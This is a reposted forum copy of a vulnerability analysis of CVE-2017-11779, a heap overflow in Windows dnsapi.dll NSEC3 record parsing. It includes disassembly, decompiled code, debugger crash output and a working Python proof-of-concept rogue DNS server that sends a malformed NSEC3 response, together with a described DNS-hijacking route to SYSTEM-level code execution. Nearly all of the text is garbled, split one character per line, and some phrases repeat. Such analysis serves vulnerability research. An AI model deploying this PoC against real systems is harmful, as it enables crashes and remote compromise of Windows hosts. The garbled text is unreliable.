论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[11922] 2017-10-23_WindowsDNSAPIRCE漏洞分析及PoC构造
文档创建者:
s7ckTeam
浏览次数:
12
最后更新:
2025-01-18
漏洞
12 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2017-10-23_WindowsDNSAPIRCE漏洞分析及PoC构造
W
i
n
d
o
w
s
D
N
S
A
P
I
R
C
E
漏
洞
分
析
及
P
o
C
构
造
v
i
c
c
o
n
F
r
e
e
B
u
f
2
0
1
7
-
1
0
-
2
3
根
据
根
据
M
i
c
r
o
s
o
f
t
2
0
1
7
年
年
1
0
月
安
全
通
告
,
多
个
版
本
月
安
全
通
告
,
多
个
版
本
W
i
n
d
o
w
s
中
的
中
的
d
n
s
a
p
i
.
d
l
l
在
处
理
在
处
理
D
N
S
r
e
s
p
o
n
s
e
时
可
导
致
时
可
导
致
S
Y
S
T
E
M
权
限
权
限
R
C
E
。
。
需
要
注
意
的
是
,
不
是
W
i
n
d
o
w
s
系
统
中
所
有
D
N
S
解
析
都
有
问
题
,
比
如
n
s
l
o
o
k
u
p
并
不
解
析
D
N
S
S
E
C
,
所
以
没
有
问
题
,
同
时
,
也
不
是
所
有
能
触
发
漏
洞
的
地
方
都
能
在
S
Y
S
T
E
M
权
限
下
执
行
代
码
,
只
有
像
W
i
n
d
o
w
s
U
p
d
a
t
e
这
样
的
S
Y
S
T
E
M
权
限
进
程
才
能
成
为
S
Y
S
T
E
M
权
限
R
C
E
的
攻
击
入
口
。
以
D
N
S
C
l
i
e
n
t
A
P
I
D
L
L
1
0
.
0
.
1
5
0
6
3
.
0
与
1
0
.
0
.
1
5
0
6
3
.
6
7
4
为
例
,
补
丁
对
比
,
可
知
漏
洞
存
在
于
d
n
s
a
p
i
.
d
l
l
中
的
N
s
e
c
3
_
R
e
c
o
r
d
R
e
a
d
函
数
,
那
么
可
以
确
定
问
题
就
是
出
在
解
析
D
N
S
r
e
s
p
o
n
s
e
的
N
S
E
C
3
R
e
s
o
u
r
c
e
r
e
c
o
r
d
,
为
了
构
造
P
o
C
,
先
得
了
解
这
个
“
N
S
E
C
3
”
的
背
景
。
首
先
,
D
N
S
协
议
数
据
结
构
如
下
图
所
示
,
例
如
,
当
访
问
h
t
t
p
:
/
/
j
u
s
t
a
n
o
t
h
e
r
b
u
g
a
n
a
l
y
s
i
s
.
g
i
t
h
u
b
.
i
o
/
时
,
D
N
S
q
u
e
r
y
如
下
,
D
N
S
r
e
s
p
o
n
s
e
如
下
,
可
见
该
D
N
S
r
e
s
p
o
n
s
e
中
的
A
n
s
w
e
r
R
R
s
包
含
了
C
N
A
M
E
(
0
x
0
0
0
5
)
与
A
(
0
x
0
0
0
1
)
两
个
R
e
s
o
u
r
c
e
r
e
c
o
r
d
(
R
R
)
,
由
于
该
域
名
所
在
的
D
o
m
a
i
n
Z
o
n
e
并
未
配
置
D
N
S
S
E
C
,
所
以
在
r
e
s
p
o
n
s
e
中
并
没
有
A
u
t
h
o
r
i
t
y
R
R
s
与
A
d
d
i
t
i
o
n
a
l
R
R
s
。
后
面
为
了
把
程
序
执
行
流
引
到
N
s
e
c
3
_
R
e
c
o
r
d
R
e
a
d
函
数
,
触
发
漏
洞
,
在
A
u
t
h
o
r
i
t
y
R
R
s
中
加
入
特
定
N
S
E
C
3
(
0
x
0
0
3
2
)
记
录
即
可
。
再
来
看
漏
洞
,
9
d
4
b
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
1
6
6
a
7
5
7
3
.
K
.
.
.
.
.
.
.
.
.
.
.
j
u
s
7
4
6
1
6
e
6
f
7
4
6
8
6
5
7
2
6
2
7
5
6
7
6
1
6
e
6
1
6
c
7
9
t
a
n
o
t
h
e
r
b
u
g
a
n
a
l
y
7
3
6
9
7
3
0
6
6
7
6
9
7
4
6
8
7
5
6
2
0
2
6
9
6
f
0
0
0
0
0
1
s
i
s
.
g
i
t
h
u
b
.
i
o
.
.
.
0
0
0
1
.
.
9
d
4
b
8
1
8
0
0
0
0
1
0
0
0
2
0
0
0
0
0
0
0
0
1
6
6
a
7
5
7
3
.
K
.
.
.
.
.
.
.
.
.
.
.
j
u
s
7
4
6
1
6
e
6
f
7
4
6
8
6
5
7
2
6
2
7
5
6
7
6
1
6
e
6
1
6
c
7
9
t
a
n
o
t
h
e
r
b
u
g
a
n
a
l
y
7
3
6
9
7
3
0
6
6
7
6
9
7
4
6
8
7
5
6
2
0
2
6
9
6
f
0
0
0
0
0
1
s
i
s
.
g
i
t
h
u
b
.
i
o
.
.
.
0
0
0
1
c
0
0
c
0
0
0
5
0
0
0
1
0
0
0
0
0
e
1
0
0
0
1
b
0
3
7
3
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
s
6
e
6
9
0
6
6
7
6
9
7
4
6
8
7
5
6
2
0
3
6
d
6
1
7
0
0
6
6
6
6
1
n
i
.
g
i
t
h
u
b
.
m
a
p
.
f
a
7
3
7
4
6
c
7
9
0
3
6
e
6
5
7
4
0
0
c
0
3
e
0
0
0
1
0
0
0
1
0
0
s
t
l
y
.
n
e
t
.
.
>
.
.
.
.
.
0
0
0
7
0
8
0
0
0
4
9
7
6
5
4
d
9
3
.
.
.
.
.
.
e
M
.
对
于
第
一
个
m
e
m
c
p
y
,
通
过
调
用
D
n
s
_
A
l
l
o
c
a
t
e
R
e
c
o
r
d
E
x
函
数
分
配
了
D
s
t
缓
冲
区
,
其
大
小
取
决
于
N
S
E
C
3
R
R
的
D
a
t
a
l
e
n
g
t
h
字
段
,
S
r
c
指
向
N
S
E
C
3
R
R
的
S
a
l
t
v
a
l
u
e
字
段
,
而
S
i
z
e
则
来
自
S
a
l
t
l
e
n
g
t
h
字
段
,
都
完
全
可
控
。
对
于
第
二
个
m
e
m
c
p
y
,
同
样
的
问
题
,
只
不
过
S
i
z
e
来
自
H
a
s
h
l
e
n
g
t
h
字
段
。
第
三
个
m
e
m
c
p
y
操
作
之
前
,
由
于
v
1
5
,
v
1
2
皆
可
控
,
故
可
导
致
u
n
s
i
g
n
e
d
_
_
i
n
t
1
6
v
1
6
=
v
9
-
v
1
5
-
v
1
2
发
生
I
n
t
e
g
e
r
U
n
d
e
r
f
l
o
w
,
进
一
步
导
致
m
e
m
c
p
y
越
界
读
写
。
P
o
C
如
下
,
例
如
,
触
发
第
一
个
m
e
m
c
p
y
堆
溢
出
,
令
N
S
E
C
3
R
R
的
S
a
l
t
l
e
n
g
t
h
=
2
5
5
,
最
终
,
综
上
所
述
,
攻
击
者
通
过
M
I
T
M
或
修
改
路
由
器
D
N
S
地
址
等
方
式
劫
持
D
N
S
流
量
后
,
当
用
户
浏
览
网
页
或
W
i
n
d
o
w
s
自
动
同
步
时
间
时
,
即
可
通
过
D
n
s
c
a
c
h
e
(
D
N
S
C
l
i
e
n
t
)
服
务
解
析
恶
意
D
N
S
r
e
s
p
o
n
s
e
,
触
发
漏
洞
,
攻
击
者
在
绕
过
A
S
L
R
、
D
E
P
等
缓
解
措
施
后
即
可
实
现
近
似
无
交
互
远
程
R
C
E
。
*
本
文
作
者
:
本
文
作
者
:
v
i
c
c
o
n
,
转
载
请
注
明
来
自
,
转
载
请
注
明
来
自
F
r
e
e
B
u
f
.
C
O
M
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
9
3
m
o
v
z
x
e
c
x
,
a
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
9
6
x
o
r
e
d
x
,
e
d
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
9
8
c
a
l
l
D
n
s
_
A
l
l
o
c
a
t
e
R
e
c
o
r
d
E
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
9
D
m
o
v
r
1
3
,
r
a
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
A
0
t
e
s
t
r
a
x
,
r
a
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
A
3
j
z
s
h
o
r
t
l
o
c
_
1
8
0
0
6
6
6
8
C
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
A
5
m
o
v
a
l
,
[
r
1
4
]
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
A
8
m
o
v
[
r
1
3
+
2
0
h
]
,
a
l
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
A
C
m
o
v
a
l
,
[
r
1
4
+
1
]
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
B
0
m
o
v
[
r
1
3
+
2
1
h
]
,
a
l
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
B
4
m
o
v
z
x
e
c
x
,
w
o
r
d
p
t
r
[
r
1
4
+
2
]
;
n
e
t
s
h
o
r
t
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
B
9
c
a
l
l
c
s
:
_
_
i
m
p
_
n
t
o
h
s
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
B
F
m
o
v
[
r
1
3
+
2
2
h
]
,
a
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
C
4
l
e
a
r
c
x
,
[
r
1
3
+
2
8
h
]
;
D
s
t
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
C
8
m
o
v
z
x
e
s
i
,
b
y
t
e
p
t
r
[
r
1
4
+
4
]
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
C
D
a
d
d
r
1
4
,
5
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
D
1
m
o
v
r
d
x
,
r
1
4
;
S
r
c
-
-
>
N
S
E
C
3
R
R
S
a
l
t
v
a
l
u
e
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
D
4
m
o
v
[
r
1
3
+
2
4
h
]
,
s
i
l
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
D
8
m
o
v
r
8
d
,
e
s
i
;
S
i
z
e
-
-
>
S
a
l
t
l
e
n
g
t
h
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
D
B
c
a
l
l
m
e
m
c
p
y
_
0
;
O
v
e
r
f
l
o
w
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
E
0
a
d
d
r
1
4
,
r
s
i
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
E
3
l
e
a
r
c
x
,
[
r
s
i
+
2
8
h
]
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
E
7
a
d
d
r
c
x
,
r
1
3
;
D
s
t
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
E
A
m
o
v
z
x
e
b
x
,
b
y
t
e
p
t
r
[
r
1
4
]
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
E
E
i
n
c
r
1
4
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
F
1
m
o
v
r
d
x
,
r
1
4
;
S
r
c
-
-
>
D
a
t
a
i
n
N
S
E
C
3
R
R
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
F
4
m
o
v
[
r
1
3
+
2
5
h
]
,
b
l
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
F
8
m
o
v
r
8
d
,
e
b
x
;
S
i
z
e
-
-
>
H
a
s
h
l
e
n
g
t
h
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
6
F
B
c
a
l
l
m
e
m
c
p
y
_
0
;
O
v
e
r
l
o
w
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
0
0
s
u
b
r
1
5
w
,
b
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
0
4
l
e
a
r
c
x
,
[
r
s
i
+
2
8
h
]
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
0
8
s
u
b
r
1
5
w
,
s
i
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
0
C
l
e
a
r
d
x
,
[
r
b
x
+
r
1
4
]
;
S
r
c
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
1
0
a
d
d
r
c
x
,
r
b
x
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
1
3
m
o
v
z
x
r
8
d
,
r
1
5
w
;
S
i
z
e
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
1
7
a
d
d
r
c
x
,
r
1
3
;
D
s
t
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
1
A
m
o
v
[
r
1
3
+
2
6
h
]
,
r
8
w
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
1
F
c
a
l
l
m
e
m
c
p
y
_
0
;
H
e
a
p
O
v
e
r
f
l
o
w
c
a
u
s
e
d
b
y
I
n
t
e
g
e
r
O
v
e
r
f
l
o
w
.
t
e
x
t
:
0
0
0
0
0
0
0
1
8
0
0
6
6
7
2
4
m
o
v
r
a
x
,
r
1
3
_
W
O
R
D
*
_
_
f
a
s
t
c
a
l
l
N
s
e
c
3
_
R
e
c
o
r
d
R
e
a
d
(
_
_
i
n
t
6
4
a
1
,
_
_
i
n
t
6
4
a
2
,
_
_
i
n
t
6
4
a
3
,
_
_
i
n
t
6
4
a
4
,
u
n
s
i
g
n
e
d
_
_
i
n
t
6
4
a
5
)
{
_
_
i
n
t
1
6
v
5
;
/
/
a
x
_
_
i
n
t
6
4
v
6
;
/
/
r
1
4
D
W
O
R
D
v
7
;
/
/
e
c
x
_
_
i
n
t
1
6
v
9
;
/
/
r
1
5
_
W
O
R
D
*
v
1
0
;
/
/
r
a
x
_
W
O
R
D
*
v
1
1
;
/
/
r
1
3
_
_
i
n
t
6
4
v
1
2
;
/
/
r
s
i
c
h
a
r
*
v
1
3
;
/
/
r
1
4
c
h
a
r
*
v
1
4
;
/
/
r
1
4
_
_
i
n
t
6
4
v
1
5
;
/
/
r
b
x
u
n
s
i
g
n
e
d
_
_
i
n
t
1
6
v
1
6
;
/
/
r
1
5
v
5
=
a
4
+
6
;
v
6
=
a
4
;
i
f
(
a
4
+
6
>
=
a
5
)
{
i
f
(
b
y
t
e
_
1
8
0
0
9
1
A
4
5
&
4
)
W
P
P
_
S
F
_
(
4
6
i
6
4
,
&
W
P
P
_
3
9
0
5
b
1
3
5
7
8
e
9
3
0
3
6
c
e
8
b
1
5
b
e
7
7
2
e
1
3
7
5
_
T
r
a
c
e
g
u
i
d
s
)
;
v
7
=
1
3
;
g
o
t
o
L
A
B
E
L
_
5
;
}
v
9
=
a
5
-
v
5
;
i
f
(
(
u
n
s
i
g
n
e
d
i
n
t
)
(
u
n
s
i
g
n
e
d
_
_
i
n
t
1
6
)
(
a
5
-
v
5
)
+
8
>
0
x
F
F
F
F
|
|
(
v
1
0
=
D
n
s
_
A
l
l
o
c
a
t
e
R
e
c
o
r
d
E
x
(
(
u
n
s
i
g
n
e
d
_
_
i
n
t
1
6
)
(
v
9
+
8
)
,
0
)
,
(
v
1
1
=
v
1
0
)
=
=
0
i
6
4
)
)
{
v
7
=
1
4
;
L
A
B
E
L
_
5
:
S
e
t
L
a
s
t
E
r
r
o
r
(
v
7
)
;
r
e
t
u
r
n
0
i
6
4
;
}
*
(
(
_
B
Y
T
E
*
)
v
1
0
+
3
2
)
=
*
(
_
B
Y
T
E
*
)
v
6
;
*
(
(
_
B
Y
T
E
*
)
v
1
0
+
3
3
)
=
*
(
_
B
Y
T
E
*
)
(
v
6
+
1
)
;
v
1
0
[
1
7
]
=
n
t
o
h
s
(
*
(
_
W
O
R
D
*
)
(
v
6
+
2
)
)
;
v
1
2
=
*
(
u
n
s
i
g
n
e
d
_
_
i
n
t
8
*
)
(
v
6
+
4
)
;
v
1
3
=
(
c
h
a
r
*
)
(
v
6
+
5
)
;
*
(
(
_
B
Y
T
E
*
)
v
1
1
+
3
6
)
=
v
1
2
;
m
e
m
c
p
y
_
0
(
v
1
1
+
2
0
,
v
1
3
,
(
u
n
s
i
g
n
e
d
i
n
t
)
v
1
2
)
;
v
1
4
=
&
v
1
3
[
v
1
2
]
;
v
1
5
=
(
u
n
s
i
g
n
e
d
_
_
i
n
t
8
)
*
v
1
4
+
+
;
*
(
(
_
B
Y
T
E
*
)
v
1
1
+
3
7
)
=
v
1
5
;
m
e
m
c
p
y
_
0
(
(
c
h
a
r
*
)
v
1
1
+
v
1
2
+
4
0
,
v
1
4
,
(
u
n
s
i
g
n
e
d
i
n
t
)
v
1
5
)
;
v
1
6
=
v
9
-
v
1
5
-
v
1
2
;
/
/
I
n
t
e
g
e
r
O
v
e
r
f
l
o
w
v
1
1
[
1
9
]
=
v
1
6
;
m
e
m
c
p
y
_
0
(
(
c
h
a
r
*
)
v
1
1
+
v
1
5
+
v
1
2
+
4
0
,
&
v
1
4
[
v
1
5
]
,
v
1
6
)
;
r
e
t
u
r
n
v
1
1
;
}
i
m
p
o
r
t
S
o
c
k
e
t
S
e
r
v
e
r
i
m
p
o
r
t
s
y
s
c
l
a
s
s
H
a
n
d
l
e
r
(
S
o
c
k
e
t
S
e
r
v
e
r
.
B
a
s
e
R
e
q
u
e
s
t
H
a
n
d
l
e
r
)
:
d
e
f
h
a
n
d
l
e
(
s
e
l
f
)
:
s
o
c
k
e
t
=
s
e
l
f
.
r
e
q
u
e
s
t
[
1
]
d
a
t
a
=
s
e
l
f
.
r
e
q
u
e
s
t
[
0
]
.
s
t
r
i
p
(
)
r
e
s
p
o
n
s
e
=
d
a
t
a
[
:
2
]
r
e
s
p
o
n
s
e
+
=
"
8
1
a
3
0
0
0
1
0
0
0
0
0
0
0
6
0
0
0
1
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
r
e
s
p
o
n
s
e
+
=
s
e
l
f
.
g
e
t
_
q
u
e
s
t
i
o
n
(
d
a
t
a
)
r
e
s
p
o
n
s
e
+
=
"
2
0
5
6
4
c
5
1
3
2
3
4
3
7
5
1
4
9
3
8
5
0
3
1
5
4
5
4
3
3
4
1
3
8
4
3
4
7
4
d
4
4
3
7
4
7
4
c
4
6
4
e
4
4
5
4
4
9
4
7
5
3
4
4
5
5
c
0
1
1
0
0
3
2
0
0
0
1
0
0
0
0
0
0
b
3
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
r
e
s
p
o
n
s
e
+
=
"
0
0
3
3
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
#
D
a
t
a
l
e
n
g
t
h
r
e
s
p
o
n
s
e
+
=
"
0
1
0
0
0
0
1
4
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
r
e
s
p
o
n
s
e
+
=
"
f
f
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
#
S
a
l
t
l
e
n
g
t
h
r
e
s
p
o
n
s
e
+
=
"
8
0
6
3
7
d
8
a
f
0
5
5
b
5
e
e
c
a
2
a
6
2
1
e
d
a
a
a
3
c
5
e
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
r
e
s
p
o
n
s
e
+
=
"
1
4
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
#
H
a
s
h
l
e
n
g
t
h
r
e
s
p
o
n
s
e
+
=
"
3
d
8
a
3
e
b
6
1
a
9
d
f
a
9
5
1
a
4
2
d
7
7
7
9
c
1
f
1
5
0
6
8
5
a
0
1
9
4
7
0
0
0
7
6
2
0
1
8
0
0
8
0
0
0
2
9
0
c
1
8
6
0
0
2
e
0
0
0
1
0
0
0
0
0
0
b
3
0
1
1
d
0
0
3
2
0
a
0
3
0
0
0
0
0
0
b
4
5
9
f
d
6
e
a
8
5
9
d
5
d
3
9
8
7
9
4
f
0
5
7
3
7
3
6
8
6
6
7
0
0
3
6
e
6
5
7
4
0
0
0
6
0
1
e
8
9
3
0
4
1
6
1
2
9
4
b
0
a
2
1
f
3
8
2
8
a
4
c
1
3
7
c
6
7
5
c
a
b
a
d
d
e
f
f
8
8
3
7
f
a
d
9
c
5
5
3
8
9
5
b
7
b
f
9
e
2
b
2
1
f
c
7
8
9
7
8
6
d
1
f
3
f
b
7
3
4
e
5
1
9
a
4
6
6
2
d
4
5
3
e
a
4
1
f
b
c
c
a
8
7
f
9
6
5
7
6
0
8
0
1
7
a
6
0
2
6
3
9
c
c
6
3
6
a
2
4
9
d
9
4
f
5
2
9
b
c
c
5
0
4
e
1
8
2
3
d
0
d
5
9
e
4
4
6
e
d
6
7
b
1
e
7
a
9
3
e
b
d
5
f
0
7
d
b
2
1
e
4
f
8
e
2
9
1
5
0
f
f
2
4
5
4
b
3
4
f
5
7
1
6
b
e
5
b
7
1
2
6
4
0
5
0
0
e
6
7
2
b
0
e
b
8
1
c
5
f
0
3
d
6
c
4
e
a
4
2
e
f
f
d
2
8
2
e
8
4
2
d
f
4
3
2
1
b
4
5
a
4
c
9
f
6
7
8
c
7
9
9
6
c
d
0
3
3
b
2
9
c
e
1
a
1
3
9
4
3
8
5
6
0
1
0
e
e
d
3
a
6
b
d
4
1
8
8
0
7
1
3
b
e
7
7
e
5
4
5
9
d
e
d
9
1
1
9
9
e
c
4
b
2
b
7
0
5
4
3
c
6
f
0
0
e
2
0
d
d
2
c
b
1
6
4
2
4
2
4
f
b
7
b
e
3
3
7
3
1
b
1
a
2
7
0
7
a
c
8
4
9
4
d
3
8
6
3
8
c
b
c
1
8
6
2
b
a
c
a
d
4
8
2
4
d
8
6
4
4
a
e
e
4
c
8
3
5
1
7
8
b
a
4
3
3
9
5
2
4
e
d
f
8
e
3
2
c
f
9
e
6
3
d
a
0
d
6
3
0
9
c
6
a
8
1
8
7
e
6
c
7
c
1
8
1
a
9
9
4
4
5
a
4
c
b
7
9
9
c
a
b
6
0
2
3
5
9
c
2
2
4
5
6
a
7
d
b
3
d
6
1
8
0
9
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
r
e
s
p
o
n
s
e
+
=
"
0
0
0
0
2
9
0
2
0
0
0
0
0
0
8
0
0
0
0
0
0
0
"
.
d
e
c
o
d
e
(
"
h
e
x
"
)
p
r
i
n
t
(
r
e
s
p
o
n
s
e
.
e
n
c
o
d
e
(
"
h
e
x
"
)
)
s
o
c
k
e
t
.
s
e
n
d
t
o
(
r
e
s
p
o
n
s
e
,
s
e
l
f
.
c
l
i
e
n
t
_
a
d
d
r
e
s
s
)
d
e
f
g
e
t
_
q
u
e
s
t
i
o
n
(
s
e
l
f
,
d
a
t
a
)
:
s
t
a
r
t
_
i
d
x
=
1
2
e
n
d
_
i
d
x
=
s
t
a
r
t
_
i
d
x
n
u
m
_
q
u
e
s
t
i
o
n
s
=
(
o
r
d
(
d
a
t
a
[
4
]
)
<
<
8
)
|
o
r
d
(
d
a
t
a
[
5
]
)
w
h
i
l
e
n
u
m
_
q
u
e
s
t
i
o
n
s
>
0
:
w
h
i
l
e
d
a
t
a
[
e
n
d
_
i
d
x
]
!
=
"
0
"
:
e
n
d
_
i
d
x
+
=
o
r
d
(
d
a
t
a
[
e
n
d
_
i
d
x
]
)
+
1
e
n
d
_
i
d
x
+
=
5
n
u
m
_
q
u
e
s
t
i
o
n
s
-
=
1
r
e
t
u
r
n
d
a
t
a
[
s
t
a
r
t
_
i
d
x
:
e
n
d
_
i
d
x
]
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
s
e
r
v
e
r
=
S
o
c
k
e
t
S
e
r
v
e
r
.
T
h
r
e
a
d
i
n
g
U
D
P
S
e
r
v
e
r
(
(
"
0
.
0
.
0
.
0
"
,
5
3
)
,
H
a
n
d
l
e
r
)
p
r
i
n
t
(
"
C
V
E
-
2
0
1
7
-
1
1
7
7
9
P
o
C
S
t
a
r
t
e
d
.
"
)
t
r
y
:
s
e
r
v
e
r
.
s
e
r
v
e
_
f
o
r
e
v
e
r
(
)
e
x
c
e
p
t
K
e
y
b
o
a
r
d
I
n
t
e
r
r
u
p
t
:
s
e
r
v
e
r
.
s
h
u
t
d
o
w
n
(
)
s
y
s
.
e
x
i
t
(
0
)
0
:
0
0
6
>
r
r
a
x
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4
r
b
x
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
r
c
x
=
0
0
0
0
0
2
7
f
d
8
8
f
4
1
f
8
r
d
x
=
0
0
0
0
0
2
7
f
d
8
8
8
e
7
c
8
r
s
i
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
f
f
r
d
i
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
r
i
p
=
0
0
0
0
7
f
f
e
5
f
d
2
6
6
d
b
r
s
p
=
0
0
0
0
0
0
d
d
f
9
f
f
e
e
3
0
r
b
p
=
0
0
0
0
0
0
d
d
f
9
f
f
e
f
7
0
r
8
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
f
f
r
9
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
r
1
0
=
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
r
1
1
=
0
0
0
0
7
f
f
e
6
4
2
5
b
f
1
7
r
1
2
=
0
0
0
0
0
2
7
f
d
8
8
f
4
8
5
0
r
1
3
=
0
0
0
0
0
2
7
f
d
8
8
f
4
1
d
0
r
1
4
=
0
0
0
0
0
2
7
f
d
8
8
8
e
7
c
8
r
1
5
=
0
0
0
0
0
2
7
f
d
8
8
8
0
0
2
d
i
o
p
l
=
0
n
v
u
p
e
i
p
l
n
z
n
a
p
e
n
c
c
s
=
0
0
3
3
s
s
=
0
0
2
b
d
s
=
0
0
2
b
e
s
=
0
0
2
b
f
s
=
0
0
5
3
g
s
=
0
0
2
b
e
f
l
=
0
0
0
0
0
2
0
2
D
N
S
A
P
I
!
N
s
e
c
3
_
R
e
c
o
r
d
R
e
a
d
+
0
x
b
b
:
0
0
0
0
7
f
f
e
`
5
f
d
2
6
6
d
b
e
8
9
6
d
8
f
b
f
f
c
a
l
l
D
N
S
A
P
I
!
m
e
m
c
p
y
(
0
0
0
0
7
f
f
e
`
5
f
c
e
3
f
7
6
)
0
:
0
0
6
>
d
b
r
d
x
0
0
0
0
0
2
7
f
`
d
8
8
8
e
7
c
8
8
0
6
3
7
d
8
a
f
0
5
5
b
5
e
e
-
c
a
2
a
6
2
1
e
d
a
a
a
3
c
5
e
.
c
}
.
.
U
.
.
.
*
b
.
.
.
<
^
0
0
0
0
0
2
7
f
`
d
8
8
8
e
7
d
8
1
4
3
d
8
a
3
e
b
6
1
a
9
d
f
a
-
9
5
1
a
4
2
d
7
7
7
9
c
1
f
1
5
.
=
.
>
.
.
.
.
.
.
B
.
w
.
.
.
0
0
0
0
0
2
7
f
`
d
8
8
8
e
7
e
8
0
6
8
5
a
0
1
9
4
7
0
0
0
7
6
2
-
0
1
8
0
0
8
0
0
0
2
9
0
c
1
8
6
.
.
.
.
G
.
.
b
.
.
.
.
.
.
.
.
0
0
0
0
0
2
7
f
`
d
8
8
8
e
7
f
8
0
0
2
e
0
0
0
1
0
0
0
0
0
0
b
3
-
0
1
1
d
0
0
3
2
0
a
0
3
0
0
0
0
.
.
.
.
.
.
.
.
.
.
.
2
.
.
.
.
0
0
0
0
0
2
7
f
`
d
8
8
8
e
8
0
8
0
0
b
4
5
9
f
d
6
e
a
8
5
9
d
5
-
d
3
9
8
7
9
4
f
0
5
7
3
7
3
6
8
.
.
Y
.
n
.
Y
.
.
.
y
O
.
s
s
h
0
0
0
0
0
2
7
f
`
d
8
8
8
e
8
1
8
6
6
7
0
0
3
6
e
6
5
7
4
0
0
0
6
-
0
1
e
8
9
3
0
4
1
6
1
2
9
4
b
0
f
p
.
n
e
t
.
.
.
.
.
.
.
.
.
.
0
0
0
0
0
2
7
f
`
d
8
8
8
e
8
2
8
a
2
1
f
3
8
2
8
a
4
c
1
3
7
c
6
-
7
5
c
a
b
a
d
d
e
f
f
8
8
3
7
f
.
.
8
(
.
.
7
.
u
.
.
.
.
.
.
.
0
0
0
0
0
2
7
f
`
d
8
8
8
e
8
3
8
a
d
9
c
5
5
3
8
9
5
b
7
b
f
9
e
-
2
b
2
1
f
c
7
8
9
7
8
6
d
1
f
3
.
.
U
8
.
.
.
.
+
!
.
x
.
.
.
.
0
:
0
0
6
>
g
(
5
8
0
.
5
e
4
)
:
A
c
c
e
s
s
v
i
o
l
a
t
i
o
n
-
c
o
d
e
c
0
0
0
0
0
0
5
(
f
i
r
s
t
c
h
a
n
c
e
)
F
i
r
s
t
c
h
a
n
c
e
e
x
c
e
p
t
i
o
n
s
a
r
e
r
e
p
o
r
t
e
d
b
e
f
o
r
e
a
n
y
e
x
c
e
p
t
i
o
n
h
a
n
d
l
i
n
g
.
T
h
i
s
e
x
c
e
p
t
i
o
n
m
a
y
b
e
e
x
p
e
c
t
e
d
a
n
d
h
a
n
d
l
e
d
.
n
t
d
l
l
!
m
e
m
c
p
y
+
0
x
2
2
0
:
0
0
0
0
7
f
f
e
`
6
4
2
5
b
d
2
0
f
3
0
f
7
f
4
0
f
0
m
o
v
d
q
u
x
m
m
w
o
r
d
p
t
r
[
r
a
x
-
1
0
h
]
,
x
m
m
0
d
s
:
0
0
0
0
0
2
7
f
`
d
8
9
0
4
2
1
5
=
?
?
?
?
?
?
?
?
